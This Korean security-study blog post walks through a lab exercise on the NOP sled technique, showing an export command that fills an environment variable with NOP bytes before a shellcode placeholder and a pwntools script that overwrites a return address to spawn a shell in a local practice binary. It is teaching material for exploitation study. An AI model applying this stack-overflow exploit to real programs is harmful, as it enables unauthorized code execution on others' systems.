Lluvia의 보안공부 RSS 태그 관리 글쓰기 방명록
2023-10-03 17:13:42

이전 글에서 셸 코드가 저장된 위치의 주소를 얻기 위해

C언어의 getenv 함수를 이용한 것을 보여주었다.

 

하지만 getenv로 얻은 주소와 실제로 디버깅을 하여 확인한 셸 코드의 주소가 오차가 있음을 확인했다.

 

이러한 오차 발생시에도 문제없이 익스플로잇을 진행할 수 있는 방법이 있다.

 

NOP SLED

NOP는 어셈블리어의 명령어 중 한 개로 "No OPeration"의 약자이다.

프로그램이 NOP를 만나면 해당 명령을 실행하지 않고 다음 명령으로 넘어간다.

즉, NOP sled 기법은 의도적으로  NOP를 삽입하여 원하는 명령을 실행하는 방법이다.

(tip. NOP의 바이트 코드는 0x90이다.)

 

따라서 앞선 Egg Shell 실습에 NOP sled를 적용 시켜 보자.

 

우선 환경변수 저장 부분이다.

export SHELLCODE=`python2.7 -c 'print "\x90"*1000+"[SHELLCODE]"'`

셸코드 앞 부분에 nop 1000개를 넣는다.

 

환경변수 저장 후 다시 환경변수의 주소와 값을 살펴보면 다음과 같다.

무사히 NOP가 삽입된 것을 볼 수 있다.

 

이후 위의 주소로 익스플로잇 코드를 수정후 실행해보자.

main함수의 ret 실행 전 스택에 원하는 주소가 들어있음을 볼 수 있다.

 

또한 해당 주소가 앞선 실습과 같이 셸 코드를 가리키지 않음을 볼 수 있다.

 

이후 스택에서 환경변수 SHELLCODE의 위치를 찾아 값을 확인하면

사진 같이 수많은 NOP들로 가득 찬 것을 볼 수 있다.

 

또한 NOP를 1000개 삽입 했고 "SHELLCODE="의 값으로 인해 셸코드는 환경변수의 주소 + 1010에 존재할 것이다.

 

아무튼 다시 돌아가면

getenv 함수로 얻은 주소가 NOP를 가리키고 있고 NOP의 끝에는 셸 코드가 존재하기 때문에

getenv 함수로 얻은 주소를 사용해도 된다.

 

따라서 익스플로잇 코드를 다음과 같이 수정후 실행하면

from pwn import *

context(arch = 'amd64', os = 'linux’)

context.log_level = 'debug'
p = process("/home/lluvia/2week_assingment/eggshell/eggshell_sample")

ret = '0x7fffffffe230’

payload = b''
payload += b'\x90' * 0x18
payload += p64(int(ret, 16))

p.sendline(payload)

p.interactive()

무사히 셸을 획득함을 볼 수 있다.